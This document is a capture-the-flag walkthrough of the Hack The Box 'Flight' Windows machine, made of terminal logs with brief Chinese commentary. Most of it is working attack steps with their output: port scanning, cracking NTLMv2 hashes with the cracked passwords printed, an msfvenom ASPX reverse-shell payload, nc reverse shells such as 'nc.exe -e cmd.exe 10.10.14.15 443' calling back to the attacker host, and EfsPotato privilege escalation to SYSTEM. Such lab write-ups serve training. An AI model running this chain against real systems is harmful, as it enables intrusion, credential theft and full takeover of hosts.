┌──(mikannse㉿kali)-[~/HTB/flight] └─$ sudo nmap --min-rate=10000 -T4 -p- 10.10.11.187 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-20 16:18 CST Nmap scan report for 10.10.11.187 Host is up (0.28s latency). Not shown: 65517 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 9389/tcp open adws 49667/tcp open unknown 49673/tcp open unknown 49674/tcp open unknown 49694/tcp open unknown 49720/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 34.65 seconds
┌──(mikannse㉿kali)-[~/HTB/flight] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status S@Ss!K@*t13 (svc_apache) 1g 0:00:00:04 DONE (2024-09-20 20:51) 0.2500g/s 2665Kp/s 2665Kc/s 2665KC/s SADSAF..S4210430 Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed.
┌──(mikannse㉿kali)-[~/HTB/flight] └─$ smbmap -H 10.10.11.187 -u 'svc_apache' -p 'S@Ss!K@*t13' <SNIP> [+] IP: 10.10.11.187:445 Name: flight.htb Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share Shared READ ONLY SYSVOL READ ONLY Logon server share Users READ ONLY Web READ ONLY
┌──(mikannse㉿kali)-[~/HTB/flight] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Tikkycoll_431012284 (c.bum) 1g 0:00:00:03 DONE (2024-09-20 21:30) 0.2702g/s 2847Kp/s 2847Kc/s 2847KC/s TinyMite1..Tiffani1432 Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably Session completed.
C:\test>.\r.exe c.bum Tikkycoll_431012284 -r10.10.14.15:444 cmd .\r.exe c.bum Tikkycoll_431012284 -r10.10.14.15:444 cmd [*] Warning: The logon for user 'c.bum' is limited. Use the flag combination --bypass-uac and --logon-type'8' to obtain a more privileged token.
[+] Running in session 0 with processfunctionCreateProcessWithLogonW() [+] Using Station\Desktop: Service-0x0-6ca84$\Default [+] Async process'C:\Windows\system32\cmd.exe' with pid 4784 created in background.
C:\inetpub>icacls * icacls * custerr BUILTIN\Users:(RX) BUILTIN\Administrators:(F) NT AUTHORITY\SYSTEM:(F) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(RX) BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(I)(OI)(CI)(IO)(F)
development flight\C.Bum:(OI)(CI)(W) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(RX) BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(I)(OI)(CI)(IO)(F)
使用nc做一个反弹shell,难绷cmd.aspx被杀掉了,提示:The resource cannot be found.
然而使用一些免杀也被杀掉，直接用反弹shell吧
┌──(mikannse㉿kali)-[~/HTB/flight] └─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.15 LPORT=446 -a x64 -f aspx > shell.aspx [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload No encoder specified, outputting raw payload Payload size: 460 bytes Final size of aspx file: 3421 bytes
嘶，还是不行，是因为web服务挂了而不是被杀了，于是重启了靶机,反弹shell成功了，不容易
┌──(mikannse㉿kali)-[~/HTB/flight] └─$ rlwrap -cAr nc -lvnp446 listening on [any] 446 ... connect to [10.10.14.15] from (UNKNOWN) [10.10.11.187] 49778 Microsoft Windows [Version10.0.17763.2989] (c) 2018 Microsoft Corporation. All rights reserved.
User Name SID ========================== ============================================================= iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
GROUP INFORMATION -----------------
Group Name Type SID Attributes ========================================== ================ ============ ================================================== Mandatory Label\High Mandatory Level Label S-1-16-12288 Everyone Well-knowngroup S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\SERVICE Well-knowngroup S-1-5-6 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-knowngroup S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-knowngroup S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-knowngroup S-1-5-15 Mandatory group, Enabled by default, Enabled group BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group LOCAL Well-knowngroup S-1-2-0 Mandatory group, Enabled by default, Enabled group Unknown SID type S-1-5-82-0 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeMachineAccountPrivilege Add workstations to domain Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
USER CLAIMS INFORMATION -----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
C:\test>.\print.exe -i-c cmd .\print.exe -i-c cmd [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [-] Operation failed or timed out.
那么使用Efspotato,上传源码上去使用csc进行编译，然后配合nc执行一个反弹shell
C:\test>C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe .\EfsPotato.cs -nowarn:1691,618 C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe .\EfsPotato.cs -nowarn:1691,618 Microsoft (R) Visual C# Compiler version 4.7.3190.0 for C# 5 Copyright (C) Microsoft Corporation. All rights reserved.
This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240
C:\test>EfsPotato.exe whoami EfsPotato.exe whoami Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability). Part of GMH's fuck Tools, Code By zcgonvh. CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net] [+] Current user: IIS APPPOOL\DefaultAppPool [+] Pipe: \pipe\lsarpc [!] binding ok (handle=1046120) [+] Get Token: 876 [!] process with pid: 5056 created. ============================== nt authority\system C:\test>EfsPotato.exe "nc.exe -e cmd.exe 10.10.14.15 443" EfsPotato.exe "nc.exe -e cmd.exe 10.10.14.15 443" Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability). Part of GMH's fuck Tools, Code By zcgonvh. CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]
[+] Current user: IIS APPPOOL\DefaultAppPool [+] Pipe: \pipe\lsarpc [!] binding ok (handle=85fdd0) [+] Get Token: 852 [!] process with pid: 1164 created. ============================== [x] EfsRpcEncryptFileSrv failed: 1818
┌──(mikannse㉿kali)-[~/HTB/flight] └─$ rlwrap -cAr nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.15] from (UNKNOWN) [10.10.11.187] 49818 Microsoft Windows [Version 10.0.17763.2989] (c) 2018 Microsoft Corporation. All rights reserved.
